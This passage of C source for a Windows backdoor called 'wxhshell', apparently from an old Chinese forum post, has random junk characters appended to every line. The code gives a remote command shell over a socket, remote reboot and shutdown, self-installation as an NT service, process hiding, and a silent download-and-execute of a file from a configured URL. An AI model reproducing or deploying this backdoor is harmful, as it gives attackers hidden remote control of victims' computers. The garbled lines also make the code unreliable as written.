      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bp%S62Dj  
    break; J @B4 R&V  
  } k4R4YI"jV  
  // 安装 1Z:R,\+L  
  case 'i': { +/q0Y`v  
    if(Install()) yW> RRE;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J3&Sj{ o  
    else JS7dsO0;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (C\r&N  
    break; ifrq  
    } Jvj=I82  
  // 卸载 GCH[lb>IJv  
  case 'r': { UUm |@  
    if(Uninstall()) XU-*[\K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!t=n   
    else 8IJ-]wHIb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {8:o?LnMW  
    break; ^&m?qKN8  
    } ;[~^( . f  
  // 显示 wxhshell 所在路径 xBWx+My  
  case 'p': { @dV9Dpu  
    char svExeFile[MAX_PATH]; T6=-hA^A  
    strcpy(svExeFile,"\n\r"); ;eh/_hPM  
      strcat(svExeFile,ExeFile); CJA+v-  
        send(wsh,svExeFile,strlen(svExeFile),0); KZ3B~#oQ  
    break; F[`vH  
    } W.$6 pzB(  
  // 重启 ee<H@LeG  
  case 'b': { J@<!q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [<Jp#&u6sb  
    if(Boot(REBOOT)) Nt,~b^9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {F!v+W>  
    else { UoRDeYQ`E  
    closesocket(wsh); 8t\}c6/3"  
    ExitThread(0); Ky6+~>  
    } 6eo4#/+%  
    break; H:Lt$  
    } r=0j7^B#  
  // 关机 >13/h]3  
  case 'd': { l0#4Fma  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $WClpvVj  
    if(Boot(SHUTDOWN)) * gHCy4u{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nNs .,J)  
    else { [` 9^QEj  
    closesocket(wsh); *;X-\6  
    ExitThread(0); `sxN!Jj?  
    } Gl;f#}  
    break; xFX&9^Uk  
    } ['t8C  
  // 获取shell ;q &0,B  
  case 's': { /f]/8b g>  
    CmdShell(wsh); K @C4*?P  
    closesocket(wsh); hiIya WU  
    ExitThread(0); :iEAUM  
    break; 9'X@@6b*'  
  } _XWnS9  
  // 退出 P4[]qbfd,  
  case 'x': { @it/$>R^)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e&ts\0  
    CloseIt(wsh); +9_,w bF  
    break; @E(P9zQ/zy  
    } V" }*"P-%  
  // 离开 _<2 RYXBC  
  case 'q': { }Az'Zu4 =  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  z \^  
    closesocket(wsh); Se/ss!If  
    WSACleanup(); ZR6&AiL(Bj  
    exit(1); [%? hCc  
    break; sL8>GtVo  
        } GVZTDrC  
  } "?[7#d])  
  } -U:2H7  
#@q1Ko!NZ  
  // 提示信息 1~L\s}|2d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5f{wJb2  
} [x|)}P7%s  
  } w_!%'9m>  
2$Wo&Q^_  
  return; S%{lJYwXt  
} UI_v3c3b  
<dS5|||  
// shell模块句柄 > '.[G:b  
int CmdShell(SOCKET sock) vuW-}fY;  
{ JeL~]F  
STARTUPINFO si; ?ff [$ab  
ZeroMemory(&si,sizeof(si)); G1TANy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LGXZx}4@;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PMY~^S4O  
PROCESS_INFORMATION ProcessInfo; jVs(x  
char cmdline[]="cmd"; X]MTaD.t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FF jRf  
  return 0; p$XnOh  
} G4O3h Y.`  
lm!F M`m  
// 自身启动模式 ]h0Y8kpd  
int StartFromService(void) |lY`9-M`I  
{ _trpXkQp  
typedef struct "H@Fe  
{ Eny!R@u7q  
  DWORD ExitStatus; :k\} I k  
  DWORD PebBaseAddress; <oQ6ZX  
  DWORD AffinityMask; !x6IV25  
  DWORD BasePriority; Wy!uRzbBv  
  ULONG UniqueProcessId; 7<vy;"wB  
  ULONG InheritedFromUniqueProcessId; !9PX\Xbn  
}   PROCESS_BASIC_INFORMATION; *iYMX[$  
~Z7)x7 z  
PROCNTQSIP NtQueryInformationProcess; ?o8a_9+  
:Nkz,R?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &D^e<j}RQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8a?IC|~Pz  
0+rW;-_(  
  HANDLE             hProcess; j+ I*Xw  
  PROCESS_BASIC_INFORMATION pbi; =^#0.  
g(1"GKg3K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <347 C{q  
  if(NULL == hInst ) return 0; 3#B@83C0Z  
fH; |Rm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t={poQC~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +<z7ds{Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2nJYS2mT7  
o16d`}/<  
  if (!NtQueryInformationProcess) return 0; T:Bzz)2/  
KoFv0~8Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ? 1GJa]G  
  if(!hProcess) return 0; TX&[;jsj  
": nI_~q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =?^-P{:\?  
,Io0ZE>`V  
  CloseHandle(hProcess); NWeV>;lh9  
[@x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t&3 8@p  
if(hProcess==NULL) return 0; $4sA nu]  
80dSQ"y  
HMODULE hMod; tD865gi  
char procName[255]; $f9 ,##/  
unsigned long cbNeeded; <Nvlk\LQ  
nM=2"`@$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3F;EE:  
*u58l(&`8  
  CloseHandle(hProcess); `Y0fst<,  
xNn>+J  
if(strstr(procName,"services")) return 1; // 以服务启动 gNG.l  
.x]'eq}  
  return 0; // 注册表启动 mSy|&(l  
} AwtIWH*e  
kja4!_d  
// 主模块 C-_(13S  
int StartWxhshell(LPSTR lpCmdLine) F_K  
{ ShsJ_/C2  
  SOCKET wsl; N!]PIWnC  
BOOL val=TRUE; ,nI_8r"M>  
  int port=0; \A` gK\/h  
  struct sockaddr_in door; :{x!g6bK@  
t$tsWAmiA[  
  if(wscfg.ws_autoins) Install(); ' l|41wxk  
dvC0 <*V  
port=atoi(lpCmdLine); ex{)mE4Cd  
Fka1]|j9  
if(port<=0) port=wscfg.ws_port; k>7gy?Y!K<  
er#8D6*  
  WSADATA data; kx:c*3q.k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X >3iYDe  
Cm99?K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l# }As.o}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :P HUsy  
  door.sin_family = AF_INET; `^?}s-H+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nZ"{y  
  door.sin_port = htons(port); y?[5jL|Ue  
pM1=U F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { od;Bb  
closesocket(wsl); d&O'r[S  
return 1; #( $k 3OA  
} oXnC "y}0P  
5w]DncdQ~  
  if(listen(wsl,2) == INVALID_SOCKET) { &19l k   
closesocket(wsl); LZgwIMd  
return 1; y>DfM5>  
} l~`txe  
  Wxhshell(wsl); K(%dcUGDK>  
  WSACleanup(); 5cPSv?x^F@  
0f_66`  
return 0; p7%0hLW  
nh _DEPMq  
} Ry3+/]  
ORUWsl Mt  
// 以NT服务方式启动 F<6KaZ|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #|)JD@;Q  
{ t-3v1cv"  
DWORD   status = 0; yg]suU<z]  
  DWORD   specificError = 0xfffffff; 53g8T+`\(  
>xhd[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #j(q/ T{x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tI/mE[W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x.jYip  
  serviceStatus.dwWin32ExitCode     = 0; 6n2Vx1b  
  serviceStatus.dwServiceSpecificExitCode = 0; GN"M:L ^k`  
  serviceStatus.dwCheckPoint       = 0; 6ON  
  serviceStatus.dwWaitHint       = 0; *+_fP|cv  
L,s|gt v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QO1A976o  
  if (hServiceStatusHandle==0) return; 6i*ArGA   
S3%.-)ib  
status = GetLastError(); ">0/>>Ry  
  if (status!=NO_ERROR) I!C(K^  
{ WLg6-@kxXs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -o=P85 V  
    serviceStatus.dwCheckPoint       = 0; ~9`^72  
    serviceStatus.dwWaitHint       = 0; r6gt9u:  
    serviceStatus.dwWin32ExitCode     = status; @m !9"QhC  
    serviceStatus.dwServiceSpecificExitCode = specificError; @&nx;K6h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^.pE`l%1}  
    return; m'G?0^Ft  
  } N7RG5?  
&0;{lS[N:L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P#vv+]/  
  serviceStatus.dwCheckPoint       = 0; Im0+`9Jw  
  serviceStatus.dwWaitHint       = 0; a'*5PaXU@/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l<0[ K(  
} C,sD?PcSi+  
2n-Tpay0  
// 处理NT服务事件,比如:启动、停止 ,H#qgnp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *:fw6mnJ#  
{ oo$WD6eCR  
switch(fdwControl) ihpz}g  
{ Z~-T0Ab-  
case SERVICE_CONTROL_STOP: 1j${,>4tQ  
  serviceStatus.dwWin32ExitCode = 0; =jk-s*g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <3],C)Zwc  
  serviceStatus.dwCheckPoint   = 0; =F^->e0N  
  serviceStatus.dwWaitHint     = 0; }iiG$?|.  
  { ne !j%9Ar  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z[0LU]b<  
  } q/d5P  
  return;  1pYmtr  
case SERVICE_CONTROL_PAUSE: 0`g}(}'L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `JY>v io  
  break; b]tA2~e  
case SERVICE_CONTROL_CONTINUE: o3\SO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u~naVX\3b  
  break; 84hi, S5P  
case SERVICE_CONTROL_INTERROGATE: >[E|p6jgT  
  break; ei|*s+OZu  
}; 8;+Hou  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _!$Up  
} Z;"4$@|qE  
' q=NTP  
// 标准应用程序主函数 4$q )e<-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \@ WsF$  
{ NbQMWU~7  
rH2tC=%  
// 获取操作系统版本 C>k;MvqO  
OsIsNt=GetOsVer(); tLoD"/z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :#Ex3H7  
dc\u$'F@S  
  // 从命令行安装 Yt O@n@1  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3-_U-:2"  
:xAe<Pq  
  // 下载执行文件 Z)6nu)  
if(wscfg.ws_downexe) { 8 /RfNGY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E |GK3/  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1K*f4BnDr~  
} fn?6%q,!ls  
Jegx[*O>b  
if(!OsIsNt) { yG4LQE  
// 如果时win9x,隐藏进程并且设置为注册表启动 C9z~)aL}7  
HideProc(); ~H yyq-  
StartWxhshell(lpCmdLine); vhE}{ED  
} _/z)&0DO  
else _]?Dt%MkD  
  if(StartFromService()) @dT: 1s  
  // 以服务方式启动 E^EU+})Ujr  
  StartServiceCtrlDispatcher(DispatchTable); ai;gca_P#  
else Vx7Dl{?{'  
  // 普通方式启动 NbdMec  
  StartWxhshell(lpCmdLine); &\6`[# bT  
} {gWTp  
return 0; oZ*=7u  
}
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只看该作者 1 发表于: 2006-10-10
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